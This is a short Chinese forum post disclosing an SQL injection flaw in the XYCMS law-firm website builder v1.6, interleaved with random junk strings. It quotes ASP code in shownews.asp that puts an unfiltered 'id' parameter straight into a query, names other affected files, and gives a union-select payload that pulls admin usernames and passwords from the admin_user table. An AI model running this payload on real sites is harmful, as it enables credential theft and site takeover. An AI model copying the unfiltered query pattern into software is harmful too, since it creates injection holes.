XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
- d0 f) n# t: D7 m
6 m4 `# A0 j' g7 g) ?淫荡分割线
! x5 ?: f* G8 I5 C( G! V/ c--------------------------------------------------------
+ c+ r% O: w( o3 \8 N
审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
6 S& F- M6 q6 F% Q$ t* r9 b源码地址:http://down.chinaz.com/soft/29233.htm
1 O- b0 V. [: J3 X
漏洞文件:shownews.asp
漏洞代码：7-13行
( C3 b* c  y1 x# I0 D6 w

& j/ R+ b/ C+ F( R1 `/ ~* l3 n<%
: V3 {% K% ]3 `8 ^4 Z& B' r  pid=request.QueryString("id")
) u5 z2 l' ]  N* A   
) t) Q* y/ l2 s! h: k& cset snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
snews.open exec,conn,1,1
%>
! P6 u3 o9 }( }3 }
. n& M1 ~  O0 C1 A6 g4 y& q
什么过滤都没有  直造成注入

( S/ G& @; S+ z$ [# r& A; X: l& a注入点:http://127.0.0.1:99/shownews.asp?id=xx

! a! w( ^' m6 Q, t" Q1 ^7 `其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
4 v: v/ o) Q& O3 l& O5 d
( U/ _/ A7 K& J* D6 A0 d% i. ^
exp: union select 1,admin,password,4,5,7 from admin_user
​